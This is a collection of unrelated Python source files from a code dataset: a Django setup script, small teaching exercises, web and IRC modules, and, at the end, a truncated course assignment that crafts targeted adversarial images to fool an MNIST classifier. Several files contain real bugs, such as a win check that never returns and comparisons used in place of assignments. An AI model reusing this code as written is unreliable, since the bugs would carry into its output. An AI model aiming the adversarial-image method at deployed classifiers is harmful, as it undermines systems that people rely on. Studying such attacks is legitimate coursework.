from test/data-md.json\\n')\n env = get_os()\n CURR_DIR = os.path.curdir\n os.chdir(HOME_DIR)\n src_path = os.path.join(os.path.curdir, \\\n 'test', \\\n 'data', \\\n 'data-md.json')\n fixturename_path = os.path.join(HOME_DIR, \\\n 'base', \\\n 'catalog', \\\n 'fixturename',) \n if not Path(fixturename_path).is_dir():\n os.mkdir(fixturename_path)\n shutil.copy(src_path, fixturename_path)\n os.chdir(PROJECT_NAME)\n fixturename_file = os.path.join(os.path.pardir, \\\n fixturename_path, \\\n 'data-md.json')\n os.system(PYTHON_EXE + ' ' + 'manage.py loaddata' + ' ' + fixturename_file)\n os.chdir(CURR_DIR) \n sys.stdout.write('Done\\n')\n\ndef load_default_risk_questions():\n sys.stdout.write('Loading default Risk Questions...\\n')\n CURR_DIR = os.path.curdir\n env = get_os()\n os.chdir(HOME_DIR)\n src_path = os.path.join(os.path.curdir, \\\n 'test', \\\n 'data', \\\n 'riskQuestions-example.json')\n fixturename_path = os.path.join(HOME_DIR, \\\n 'base', \\\n 'catalog', \\\n 'fixturename',) \n if not Path(fixturename_path).is_dir():\n os.mkdir(fixturename_path)\n shutil.copy(src_path, fixturename_path)\n os.chdir(PROJECT_NAME)\n fixturename_file = os.path.join(os.path.pardir, \\\n fixturename_path, \\\n 'riskQuestions-example.json')\n os.system(PYTHON_EXE + ' ' + 'manage.py loaddata' + ' ' + fixturename_file)\n os.chdir(CURR_DIR) \n sys.stdout.write('Done\\n')\n\ndef create_superuser():\n env = get_os()\n os.chdir(BASE_DIR)\n os.system(PYTHON_EXE + ' ' + 'manage.py createsuperuser')\n os.chdir(HOME_DIR)\n\ndef set_database():\n # https://docs.djangoproject.com/en/2.0/ref/settings/#databases\n env = get_os()\n default_database = {\n 'default': {\n 'ENGINE': '',\n 'NAME': '',\n 'USER': '',\n 'PASSWORD':'',\n 'HOST': '',\n 'PORT':''\n }\n }\n available_databases = {\n # 'key': ['DB friendly name', 'ENGINE', 'NAME', 'USER', 'PASS', HOST', 'PORT', 'db binding']\n '1': ['PostgreSQL', 'django.db.backends.postgresql', '', '', '', '127.0.0.1', '5432', 'psycopg2'],\n '2': ['MySQL', 'django.db.backends.mysql', '', '', '', '127.0.0.1', '3306', 'mysql-connector-python'],\n '3': ['Oracle', 'django.db.backends.oracle', '', '', '', '127.0.0.1', '1521', 'cx_Oracle'],\n '4': ['SQLite3', 'django.db.backends.sqlite3', \"os.path.join(BASE_DIR, 'db.sqlite3')\", '', '', '', '', None]\n }\n sys.stdout.write('\\nAvailable databases:\\n')\n for i in available_databases.keys():\n sys.stdout.write(i + ' - ' + available_databases[i][0] + '\\n') \n chosen_db = input('\\nWhich one would you like to use? ')\n while chosen_db not in available_databases.keys():\n chosen_db = input('Choose one of the numbers above: ')\n sys.stdout.write('\\nLet us set' + available_databases[chosen_db][0] + 'database:')\n default_database['default']['ENGINE'] = available_databases[chosen_db][1]\n default_database['default']['NAME'] = input('Database name: ' \\\n + available_databases[chosen_db][2]) \\\n or available_databases[chosen_db][2]\n default_database['default']['USER'] = input('Database user name: ' \\\n + available_databases[chosen_db][3]) \\\n or available_databases[chosen_db][3]\n default_database['default']['PASSWORD'] = getpass.getpass('User password:')\n pwd_verify = getpass.getpass('User password (again):')\n while default_database['default']['PASSWORD'] != pwd_verify:\n sys.stdout.write('Password mismatch.')\n default_database['default']['PASSWORD'] = getpass.getpass('User password:')\n pwd_verify = getpass.getpass('User password (again):')\n default_database['default']['HOST'] = input('Database Host address (' \\\n + available_databases[chosen_db][5] \\\n + '):') \\\n or available_databases[chosen_db][5]\n default_database['default']['PORT'] = input('Database Port (' \\\n + available_databases[chosen_db][6] \\\n + '):') \\\n or available_databases[chosen_db][6]\n #### Altering settings.py DATABASE entry:\n settings_path = os.path.join(os.curdir, 'base', 'base', 'settings.py')\n f = open(settings_path, 'r')\n data = f.read()\n f.close()\n regex = r\"DATABASES = (.*)}\\n\" # Thanks to https://regex101.com/r/lH0jK9/1\n subst = json.dumps(default_database, indent=4)\n subst = subst.replace('\"', '\\'')\n subst = 'DATABASES = ' + subst + '\\n'\n result = re.sub(regex, subst, data, 0, re.DOTALL)\n ### Since 'NAME': value is a path, it could not be treated as a string.\n if available_databases[chosen_db][0] == 'SQLite3':\n result = result.replace(\"'NAME': 'os.path.join(BASE_DIR, 'db.sqlite3')',\", \\\n \"'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\")\n f = open(settings_path, 'w')\n f.write(result)\n f.close()\n #### Check if Database bindings is installed:\n db_binding = available_databases[chosen_db][7]\n try:\n import db_binding\n except ImportError: \n os.system(PIP_EXE + ' ' + 'install ' + db_binding)\n set_datamodel()\n \ndef create_startscripts():\n env = get_os()\n system = env['system']\n if system.startswith('linux') or system.startswith('darwin'):\n filename = 'run.sh'\n f = open(filename, 'w')\n data = '#!/bin/bash\\n\\n' \\\n + 'ADDRESS=\"\"\\n' \\\n + 'if [[ $1 ]]; then\\n' \\\n + ' ADDRESS=$1\\n' \\\n + 'fi\\n' \\\n + 'if [[ -d ./venv ]]; then\\n' \\\n + ' source venv/bin/activate\\n\\n' \\\n + 'fi\\n' \\\n + 'cd base\\n' \\\n + PYTHON_EXE + ' manage.py runserver $ADDRESS &\\n' \\\n + 'cd ..\\n'\n f.write(data)\n f.close()\n os.chmod(filename, 0o755)\n\n if system.startswith('win32'):\n filename = 'run.bat'\n f = open(filename, 'w')\n data = '@echo off\\n\\n' \\\n + 'set ADDRESS=\"\"\\n' \\\n + 'if not [%~1] == [] (set ADDRESS=%1)\\n' \\\n + 'if exist venv (\\n' \\\n + ' call venv\\\\Scripts\\\\activate.bat\\n' \\\n + ')\\n' \\\n + 'cd base\\n' \\\n + PYTHON_EXE + ' manage.py runserver %ADDRESS%\\n' \\\n + 'cd ..\\n'\n f.write(data)\n f.close()\n\ndef update_js():\n '''\n Needs to take care about the licences as well. See ./LICENSES for more info.\n '''\n pass\n\n\ndef run():\n check_pip()\n check_venv()\n param = check_parameters()\n\n if param == 'build':\n check_parameters()\n get_os()\n check_system_reqs()\n deep_clean('none')\n start_django_project()\n importing_settings()\n set_datamodel()\n set_urls()\n set_views()\n set_templates()\n set_login_template()\n set_forms()\n set_static_files()\n set_admin_template()\n load_default_risk_questions()\n deployment_checklist()\n create_superuser()\n create_startscripts()\n\n if param == 'build-only':\n check_parameters()\n get_os()\n check_system_reqs()\n deep_clean('none')\n start_django_project()\n importing_settings()\n set_datamodel()\n set_urls()\n set_views()\n set_templates()\n set_login_template()\n set_forms()\n set_static_files()\n set_admin_template()\n load_default_risk_questions()\n deployment_checklist()\n create_startscripts()\n\n if param == 'build-novenv':\n check_parameters()\n get_os()\n check_system_reqs()\n deep_clean('none')\n start_django_project()\n importing_settings()\n set_datamodel()\n set_urls()\n set_views()\n set_templates()\n set_login_template()\n set_forms()\n set_static_files()\n set_admin_template()\n load_default_risk_questions()\n deployment_checklist()\n create_superuser()\n create_startscripts()\n \n if param == 'clean':\n deep_clean('none')\n \n if param == 'createsuperuser':\n create_superuser()\n\n if param == 'database':\n set_database()\n\n if param == 'deep-clean':\n deep_clean('deep-clean')\n\n if param == 'templates':\n set_templates()\n set_login_template()\n set_forms()\n set_static_files()\n set_admin_template()\n\n if param == 'urlsviews':\n set_urls()\n set_views()\n \n if param == 'loadtestdata':\n load_test_data()\n\n if param == 'createstartscript':\n create_startscripts()\n\n if param == 'update-js':\n update_js()\n\n\nrun()\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":26634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"13856136","text":"# -*- encoding: utf8 -*-\n'''\nCashier 클래스에는 기존에 burger_price라는 클래스 변수와 take_order라는 메서드가 있었습니다.(추가하세요)\n\n'''\nclass Employee: \n \"\"\" 직원 클래스 \"\"\"\n\n company_name = \"코드잇 버거\" # 가게이름\n raise_percentage = 1.03 # 시급 인상률\n\n def __init__(self,name,wage):\n \"\"\"인스턴스 변수 설정\"\"\"\n self.name = name # 이름\n self.wage = wage # 시급\n \n def raise_pay(self):\n \"\"\"시급을 인상하는 메소드\"\"\"\n self.wage *= self.raise_percentage\n\n def __str__(self):\n \"\"\" 직원 정보를 문자열로 리턴하는 메소드 \"\"\"\n return Employee.company_name + ' 직원: ' + self.name\n\n\nclass Cashier(Employee):\n raise_percentage = 1.05\n burger_price = 4000\n\n def __init__(self, name, wage,number_sold):\n # self.name = name # 부모 클래스의 내용과 동일 [방법1 ]\n # self.wage = wage # 부모 클래스의 내용과 동일\n\n # Employee.__init__(self,name,wage) [방법2] \n super().__init__(name,wage) #[방법3] super() 쓸떼는 SELF 파라미터 빼야함.\n self.number_sold = number_sold # 자식 클래스에서 인스턴스 변수부분을 새롭게 추가한 부분임.\n \n def take_order(self, money_received):\n \"\"\"주문과 돈을 받고 거스름돈을 리턴함.\"\"\"\n if Cashier.burger_price > money_received:\n print('돈이 충분하지 않아요. 돈을 다시 계산해 주세요.')\n return money_received\n else: \n self.number_sold += 1\n change = money_received - Cashier.burger_price\n return change\n\n def __str__(self):\n return Cashier.company_name + \" 계산대 직원: \"+self.name\n\nclass DeliveryMan(Employee):\n pass\n\nyoung = Cashier('강영훈', 8900,0)\n\nyoung.raise_pay()\nprint(young.wage)\n\nprint(young.take_order(7000))\nprint(young.take_order(3000))\n\nprint(young.burger_price)\nprint(Cashier.burger_price)\n\nprint(young.number_sold)\nprint(young)","sub_path":"파이썬/객체지향프로그래밍/객체지향프로그래밍이란/OOP_4개의기둥/상속/08_상속4_기능추가.py","file_name":"08_상속4_기능추가.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"644318857","text":"class QryKegiatanSekolah:\n\n def __init__(self,parentForm,FormObj):\n self.form = parentForm\n self.app = parentForm.ClientApplication\n self.FormView = None\n\n def Show(self):\n self.ShowFixedAssetData()\n self.FormContainer.Show()\n\n def ShowFixedAssetData(self):\n Beasiswa = self.Beasiswa\n uipart = self.uipart\n\n Beasiswa.OQLText = \" Select from SchoolYear as Beasiswa \\\n \\\n ( SchoolYear, \\\n SchoolYearCode, \\\n self \\\n );\"\n Beasiswa.DisplayData()\n\n def Hapus(self,key):\n if (self.app.ConfirmDialog('Yakin Tahun Ajaran Ini Akan Dihapus ?')):\n params = self.app.CreateValues(['key',key])\n retval = self.form.CallServerMethod('Proses',params)\n status = retval.FirstRecord\n if status.IsErr ==1:\n self.app.ShowMessage(status.ErrMessage)\n return 0\n else :\n self.app.ShowMessage('Tahun Ajaran Telah Dihapus')\n\n\n","sub_path":"dialogs/master/QryTahunAjaran_intr.py","file_name":"QryTahunAjaran_intr.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"417870131","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\ndef build_linked_list(array: list):\n if len(array) == 0:\n return None\n head = curr = ListNode(array[0])\n for i in range(1, len(array)):\n curr.next = ListNode(array[i])\n curr = curr.next\n return head\n\n\nclass Solution:\n def isPalindrome(self, head: ListNode) -> bool:\n\n def reverse(_head: ListNode):\n curr, prev = _head, None\n while curr:\n _next = curr.next\n curr.next = prev\n curr, prev = _next, curr\n return prev\n\n slow, fast = head, head\n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n if fast:\n slow = slow.next\n\n p, q = head, reverse(slow)\n while q:\n if p.val != q.val:\n return False\n p, q = p.next, q.next\n\n return True\n\n\ndef test_solution():\n head = build_linked_list([1, 2])\n assert not Solution().isPalindrome(head)\n\n head = build_linked_list([1, 2, 2, 1])\n assert Solution().isPalindrome(head)\n\n\nif __name__ == '__main__':\n test_solution()\n","sub_path":"link_list/classic/234_palindrome_linked_list.py","file_name":"234_palindrome_linked_list.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"285995562","text":"import numpy as np\nfrom music21 import stream\n\nfrom libs.harmony import chordDissScore, ChordIntvDiss\nfrom libs.m21 import get_min_ql\n\n\ndef cfDissScore(cf1: stream.Part, cf2: stream.Part):\n assert cf1.quarterLength == cf2.quarterLength\n min_ql = min(get_min_ql(cf1), get_min_ql(cf2))\n diss = 0\n for offset in np.arange(0, cf1.highestTime, min_ql):\n ch1 = cf1.getElementsByOffset(offset,\n mustFinishInSpan=False,\n mustBeginInSpan=False)[0]\n ch2 = cf2.getElementsByOffset(offset,\n mustFinishInSpan=False,\n mustBeginInSpan=False)[0]\n diss += chordDissScore(ch1, ch2)\n #ch2.addLyric(f'{round(chordDissScore(ch1, ch2), 2)}')\n return diss\n\ndef melDissScore(mel1: stream.Part, mel2: stream.Part):\n diss = 0\n mel1.flat.attachIntervalsBetweenStreams(mel2.flat)\n for nt in mel1.flat.notes:\n itv = nt.editorial.harmonicInterval\n if itv is not None and itv.noteStart.offet == itv.noteEnd.offset:\n diss += ChordIntvDiss[itv.semitones % 12] * min(itv.noteStart.duration.quarterLength,\n itv.noteEnd.duration.quarterLength)\n return diss\n\n","sub_path":"filters/rating.py","file_name":"rating.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"228686593","text":"from django.shortcuts import render,redirect,get_object_or_404\nfrom .forms import CustomUserCreationForm,CustomUserChangeForm\nfrom django.contrib.auth import login as auth_login\nfrom django.contrib.auth import logout as auth_logout\nfrom django.contrib.auth.forms import AuthenticationForm, PasswordChangeForm\nfrom django.contrib.auth import get_user_model\nfrom .models import User\nfrom movies.models import Review, Movie, Genre\nfrom django.contrib.auth.decorators import login_required\n\n\n\n\ndef indexs(request):\n Users = User.objects.all()\n context = {\n 'Users':Users\n }\n return render(request,'accounts/indexs.html',context)\n\n# Create your views here.\ndef signup(request):\n if request.user.is_authenticated:\n return redirect('movies:index')\n if request.method == 'POST':\n form = CustomUserCreationForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('movies:index')\n else:\n form = CustomUserCreationForm()\n context = {\n 'form':form\n }\n return render(request,'accounts/signup.html',context)\n \ndef login(request):\n if request.user.is_authenticated:\n return redirect('movies:index')\n if request.method == 'POST':\n form = AuthenticationForm(request,request.POST)\n if form.is_valid():\n user = form.get_user()\n auth_login(request,user)\n return redirect('movies:index')\n else:\n form = AuthenticationForm()\n context = {\n 'form':form\n }\n return render(request,'accounts/login.html',context)\n\ndef logout(request):\n auth_logout(request)\n return redirect('movies:index')\n\ndef profile(request, account_pk):\n User = get_user_model()\n user = get_object_or_404(User,pk=account_pk)\n context = {\n 'user_profile':user\n }\n genres_score = [0] * 21\n counts = [0] * 21\n reviews = user.review_set.order_by('-score')\n for review in reviews:\n genres_score[review.movie_id.genre_id.id] += review.score\n counts[review.movie_id.genre_id.id] += 1\n ## 장르별 평균점수 계산\n avg_genre = [0] * 21\n for i in range(len(avg_genre)):\n if counts[i] == 0:\n continue\n avg_genre[i] = int(genres_score[i]/counts[i])\n genre = avg_genre.index(max(avg_genre)) # 장르별 점수 최고점\n movies = Movie.objects.filter(genre_id_id=genre).order_by('-audience')\n user_watch_movie = set()\n for r in user.review_set.all():\n user_watch_movie.add(r.movie_id)\n my_movies = []\n if not user_watch_movie:\n genres = Genre.objects.all()\n my_movies = genres[0].movie_set.all()\n else:\n for movie in movies:\n if movie in user_watch_movie:\n continue\n my_movies.append(movie)\n if len(my_movies) == 10:\n break\n context.update({'my_movies': my_movies})\n return render(request,'accounts/profile.html',context)\n\ndef follow(request, account_pk):\n User = get_user_model()\n obama = get_object_or_404(User,pk=account_pk)\n if obama != request.user:\n if request.user in obama.followers.all():\n obama.followers.remove(request.user)\n else:\n obama.followers.add(request.user)\n return redirect('accounts:profile',account_pk)\n\n@login_required\ndef update(request):\n if request.method == 'POST':\n form = CustomUserChangeForm(request.POST, instance=request.user)\n if form.is_valid():\n form.save()\n return redirect('movies:index')\n else:\n form = CustomUserChangeForm(instance=request.user)\n context = {\n 'form': form\n }\n return render(request, 'accounts/login.html', context)\n\n\n@login_required\ndef password_change(request):\n if request.method == 'POST':\n form = PasswordChangeForm(request.user, request.POST)\n if form.is_valid():\n form.save()\n update_session_auth_hash(request, form.user)\n return redirect('movies:index')\n else:\n form = PasswordChangeForm(request.user) # 반드시 첫번째 인자로 user\n context = {\n 'form': form\n }\n return render(request, 'accounts/login.html', context)","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"14474426","text":"# Игра \"Крестики-Нолики\"\n\nfrom IPython.display import clear_output\nimport random\n\ndef display_board(board):\n clear_output()\n print(board[7]+'|'+board[8]+'|'+board[9])\n print(board[4]+'|'+board[5]+'|'+board[6])\n print(board[1]+'|'+board[2]+'|'+board[3])\n \ndef player_input():\n '''\n OUTPUT = (Player1 marker, Player2 marker)\n '''\n marker=''\n while not (marker =='X' or marker =='О'):\n marker = input('Игрок1 - выберите X или О:').upper()\n if marker == 'X':\n return ('X', 'O')\n else:\n return ('O', 'X')\n \ndef place_marker(board, marker, position):\n board[position] = marker\n\ndef win_check(board, mark):\n (board[1]==board[2]==board[3]==mark) or (board[4]==board[5]==board[6]==mark) or (board[7]==board[8]==board[9]==mark) or (board[1]==board[4]==board[7]==mark) or (board[2]==board[5]==board[8]==mark) or (board[3]==board[6]==board[9]==mark) or (board[1]==board[5]==board[9]==mark) or (board[3]==board[5]==board[7]==mark)\ndef choose_first():\n flip = random.randint(0, 1)\n if flip==0:\n return 'Игрок1'\n else:\n return 'Игрок2'\ndef space_check(board, position):\n return board[position] ==' '\ndef full_board_check(board):\n for i in range(1, 10):\n if space_check(board, i):\n return False\n return True\ndef player_choice(board):\n position = 0\n \n while position not in [1, 2, 3, 4, 5, 6, 7, 8, 9] or not space_check(board, position):\n position = int(input('Укажите поле: (1-9)'))\n return position\ndef replay():\n choice = input('Хотите играть снова? Введите Yes или No')\n return choice == 'Yes'\n\nprint('Добро пожаловать в игру Крестики-Нолики')\n\nwhile True:\n the_board=[' ']*10\n player1_marker, player2_marker = player_input()\n turn = choose_first()\n print(turn +' ходит первый')\n play_game = input('Вы готовы играть? Yer or No')\n \n if play_game == 'Yes':\n game_on=True\n else:\n game_on=False\n while game_on:\n if turn == 'Игрок1':\n display_board(the_board)\n position = player_choice(the_board)\n place_marker(the_board, player1_marker, position)\n if win_check(the_board, player1_marker):\n display_board(the_board)\n print('Игрок1 выиграл')\n game_on=False\n else:\n if full_board_check(the_board):\n display_board(the_board)\n print('Ничья')\n game_on=False\n else:\n turn == 'Игрок2'\n \n \n else:\n display_board(the_board)\n position = player_choice(the_board)\n place_marker(the_board, player2_marker, position)\n if win_check(the_board, player2_marker):\n display_board(the_board)\n print('Игрок2 выиграл')\n game_on=False\n else:\n if full_board_check(the_board):\n display_board(the_board)\n print('Ничья')\n game_on=False\n else:\n turn == 'Игрок1'\n \n \n if not replay():\n break","sub_path":"First_Project.py","file_name":"First_Project.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"494896187","text":"from twisted.words.protocols import irc\nfrom txircd.modbase import Command\nfrom txircd.utils import irc_lower\nfrom fnmatch import fnmatch\n\nclass ListCommand(Command):\n def onUse(self, user, data):\n for cichanname, channel in self.ircd.channels.iteritems():\n if data[\"chanfilter\"] is not None:\n filterMatch = False\n for filterEntry in data[\"chanfilter\"]:\n if fnmatch(cichanname, filterEntry):\n filterMatch = True\n break\n if not filterMatch:\n continue\n cdata = {\n \"channel\": channel,\n \"name\": channel.name,\n \"users\": len(channel.users),\n \"topic\": channel.topic if channel.topic else \"\"\n }\n extraData = { \"user\": user, \"cdata\": cdata }\n user.commandExtraHook(\"LIST\", extraData)\n if \"cdata\" not in extraData or not extraData[\"cdata\"]:\n continue\n else:\n user.sendMessage(irc.RPL_LIST, cdata[\"name\"], str(cdata[\"users\"]), \":[{}] {}\".format(cdata[\"channel\"].modeString(user), cdata[\"topic\"]))\n user.sendMessage(irc.RPL_LISTEND, \":End of channel list\")\n \n def processParams(self, user, params):\n if user.registered > 0:\n user.sendMessage(irc.ERR_NOTYETREGISTERED, \"LIST\", \":You have not registered\")\n return {}\n if params:\n chanFilter = irc_lower(params[0]).split(\",\")\n else:\n chanFilter = None\n return {\n \"user\": user,\n \"chanfilter\": chanFilter\n }\n\nclass Spawner(object):\n def __init__(self, ircd):\n self.ircd = ircd\n \n def spawn(self):\n return {\n \"commands\": {\n \"LIST\": ListCommand()\n }\n }\n \n def cleanup(self):\n del self.ircd.commands[\"LIST\"]","sub_path":"txircd/modules/cmd_list.py","file_name":"cmd_list.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"190413080","text":"name = input('이름 입력 : ')\nscore = int(input('점수 입력 : '))\ngrade = '' # 학점 평가\n\nif score >= 90 :\n grade = 'A'\nelif score >= 80 :\n grade = 'B'\nelif score >= 70 :\n grade = 'C'\nelif score >= 60 :\n grade = 'D'\nelse:\n grade = 'F'\n\nprint(f'이름 : {name}\\n'\n f'점수 : {score}\\n'\n f'학점 : {grade}')","sub_path":"command/ifTest2.py","file_name":"ifTest2.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"197232040","text":"from __future__ import print_function\nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms\nimport numpy as np\nimport os\nfrom torch.utils import data\nfrom os import makedirs\nimport torchvision\nfrom PIL import Image\nimport sys\nimport copy\nimport matplotlib.pyplot as plt\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(1, 32, 3, 1)\n self.conv2 = nn.Conv2d(32, 64, 3, 1)\n self.dropout1 = nn.Dropout2d(0.25)\n self.dropout2 = nn.Dropout2d(0.5)\n self.fc1 = nn.Linear(9216, 128)\n self.fc2 = nn.Linear(128, 10)\n # self.sm1 = nn.Softmax()\n\n def forward(self, x):\n x = self.conv1(x)\n x = F.relu(x)\n x = self.conv2(x)\n x = F.max_pool2d(x, 2)\n x = self.dropout1(x)\n x = torch.flatten(x, 1)\n x = self.fc1(x)\n x = F.relu(x)\n x = self.dropout2(x)\n x = self.fc2(x)\n # x = self.sm1(x)\n return x\n\ndef numpy_loader(input):\n item = np.load(input)/255.0\n return Image.fromarray(item)\n\ndef evaluate_model_for_accuracy(model, device, data_loader):\n model.eval()\n\n correct = 0\n with torch.no_grad():\n # outF = open(\"myOutFile.txt\", \"w\")\n for data, target in data_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n # print(output)\n pred = output.argmax(dim=1, keepdim=True)\n # torch.save(output, \"tensor-pytorch.txt\")\n # outF.write(str(output))\n # outF.write(str(pred))\n correct += pred.eq(target.view_as(pred)).sum().item()\n\n print('\\n Accuracy: {}/{} ({:.0f}%)\\n'.format(\n correct, len(data_loader.dataset),\n 100. * correct / len(data_loader.dataset)))\n\n\ndef evaluate_adv_images(model, device, kwargs, mean, std, data_loader):\n batch_size = 100\n model.eval()\n\n adv_data_loader = torch.utils.data.DataLoader(\n torchvision.datasets.DatasetFolder('adv_images', #Change this to your adv_images folder\n loader=numpy_loader,\n extensions='.npy',\n transform=transforms.Compose([transforms.ToTensor(),\n transforms.Normalize(mean, std)])),\n batch_size=batch_size, **kwargs)\n\n given_dataset = []\n adv_images = []\n labels = []\n with torch.no_grad():\n for data, target in data_loader:\n data, target = data.to(device), target.to(device)\n if len(given_dataset) ==0:\n given_dataset = data.squeeze().detach().cpu().numpy()\n else:\n given_dataset = np.concatenate([given_dataset, data.squeeze().detach().cpu().numpy()],\n axis=0)\n\n for data, target in adv_data_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n label = target.squeeze().detach().cpu().numpy()\n softmax_values = torch.nn.Softmax()(output).cpu().numpy()[np.arange(batch_size), label]\n adv_images = data\n labels = target\n\n\n #Checking the range of generated images\n adv_images_copy = copy.deepcopy(adv_images)\n for k in range(adv_images_copy.shape[0]):\n image_ = adv_images_copy[k, :, :]\n\n for t, m, s in zip(image_, mean, std):\n t.mul_(s).add_(m)\n\n image = image_.squeeze().detach().cpu().numpy()\n image = 255.0 * image\n print(image)\n if np.min(image) < 0 or np.max(image) > 255:\n print('Generated adversarial image is out of range.')\n sys.exit()\n\n adv_images = adv_images.squeeze().detach().cpu().numpy()\n labels = labels.squeeze().detach().cpu().numpy()\n\n\n #Checking for equation 2 and equation 3\n if all([x > 0.8 for x in softmax_values.tolist()]):\n print('Softmax values for all of your adv images are greater than 0.8')\n S = 0\n for i in range(10):\n label_indices = np.where(labels==i)[0]\n a_i = adv_images[label_indices, :, :]\n for k in range(10):\n image = a_i[k, :, :]\n S = S + np.min(\n np.sqrt(\n np.sum(\n np.square(\n np.subtract(given_dataset, np.tile(np.expand_dims(image, axis=0), [1000,1,1]))\n ),axis=(1,2))))\n\n print('Value of S : {:.4f}'.format(S / 100))\n\n else:\n print('Softmax values for some of your adv images are less than 0.8')\n\n\nimport os, shutil\n\n\ndef remove_files_in_dir(folder):\n try:\n for filename in os.listdir(folder):\n file_path = os.path.join(folder, filename)\n try:\n if os.path.isfile(file_path) or os.path.islink(file_path):\n os.unlink(file_path)\n elif os.path.isdir(file_path):\n shutil.rmtree(file_path)\n except Exception as e:\n print('Failed to delete %s. Reason: %s' % (file_path, e))\n except Exception as e:\n print('Failed to delete. Reason: %s' % (e))\n\ndef generate_adv_images(model, device, kwargs):\n model.eval()\n\n # forSoftMaxList = torch.cuda.FloatTensor()\n sfMax = []\n\n targeted_class_labelsList = []\n image_namesList = []\n maxImages = 10\n advImageID = 1\n targetList=[]\n targetDict={}\n mean = (0.1307,)\n std = (0.3081,)\n\n with torch.enable_grad():\n\n path = 'D:/MComp/CS5260 Deep Learning and NN-2/Assignment_1/Assignment_1/data/'\n dataLoader = torch.utils.data.DataLoader(\n torchvision.datasets.DatasetFolder(path,\n loader=numpy_loader,\n extensions='.npy',\n transform=transforms.Compose([transforms.ToTensor(),\n transforms.Normalize(mean, std)])),\n batch_size=100, **kwargs) #hardcoding batch size to load the class one by one\n\n given_dataset = []\n for data1, target1 in dataLoader:\n data1, target1 = data1.to(device), target1.to(device)\n if len(given_dataset) ==0:\n given_dataset = data1.squeeze().detach().cpu().numpy()\n else:\n given_dataset = np.concatenate([given_dataset, data1.squeeze().detach().cpu().numpy()],\n axis=0)\n\n epsilon =0.6\n iterNum =[60, 100, 50, 84, 50, 70, 70, 82, 50, 60]\n epsilonarr = [0.81, 0.65, 0.8, 0.6, 0.8, 0.81, 0.8, 0.81, 1.0, 0.81]\n\n for i in range(1):\n\n adv_images = []\n targeted_class_labels = []\n image_names = []\n print(\"Epsilon Value: \" + str(epsilonarr))\n print(\"Iteration number : \" + str(iterNum))\n # epsilonarr = np.ones(10)\n # epsilonarr = epsilonarr * epsilon\n\n targetID = 0\n totalSoftmaxList = []\n maxIndex=[]\n Sval=0\n for labelCount in range(10):\n # epsilonarr[1]=0.65\n # if labelCount == 1:\n # iterNum=40\n adv_imagesList = torch.cuda.FloatTensor()\n softMaxList = []\n\n\n for data_f, target_f in dataLoader:\n data, target = data_f.to(device), target_f.to(device)\n targetCopy = torch.LongTensor(100,).zero_().to(device)\n originalLabel = target[0].item()\n if (originalLabel == labelCount) | (epsilonarr[labelCount] == 0):\n # targetID+=1\n continue\n data.requires_grad = True\n\n targetCopy += targetID\n\n for name, param in model.named_parameters():\n # print(name, param.requires_grad)\n param.requires_grad = False\n maxim = (1.0 - mean[0])/std[0]\n minim = (0.0 - mean[0])/std[0]\n\n def clip(data_tensor, minimum, maximum):\n return torch.autograd.Variable(torch.clamp(data_tensor, min=minimum, max=maximum), requires_grad=True)\n # return torch.clamp(data_tensor, min=minimum, max=maximum)\n\n def norm_custom(data):\n data_unnorm = data * std[0] + mean[0]\n maxim = data_unnorm.max(axis=1)[0].max()\n minim = data_unnorm.min(axis=1)[0].min()\n return torch.autograd.Variable((data_unnorm - minim) / (maxim - minim), requires_grad=True)\n\n # data_norm = clip(data, minim, maxim)\n data_norm = torch.autograd.Variable(data.clone(), requires_grad=True)\n iter = 0\n\n while iter <= iterNum[labelCount]:\n # print(iter+1, '->', data_norm.requires_grad)\n model.zero_grad()\n data_norm.grad = None\n output = model.forward(data_norm)\n outSoftMax = F.softmax(output, dim=1)\n loss = F.cross_entropy(outSoftMax, targetCopy)\n loss.backward()\n gradient = data_norm.grad.data.sign()\n data_norm.data = data_norm.data - epsilonarr[labelCount] * gradient\n data_norm = clip(data_norm, minim, maxim)\n\n ##Cancel comment out for stopping iter if already 10 values above 0.8\n\n # out_max1 = outSoftMax.max(axis=1)\n # indices1 = out_max1[0].detach().cpu().numpy().argsort()\n # out_arg_max1 = out_max1[1].cpu().numpy()\n # idx1 = 99\n # image_iter1 = 0\n # counter = 0\n # while image_iter1 < 5 and idx1 >= 0:\n # if (out_arg_max1[indices1[idx1].item()].item() == targetCopy[0].item()) & (out_max1[0][indices1[idx1].item()].item() >= 0.8) :\n # image_iter1 +=1\n # idx1-=1\n # if (image_iter1 == 3):\n # print(\"Iteration stopped for \" + str(originalLabel) + \" at iter \" + str(iter))\n # break\n\n iter += 1\n\n # data_norm = data.detach().clone().type(torch.cuda.IntTensor).type(torch.cuda.FloatTensor)\n # data_norm = 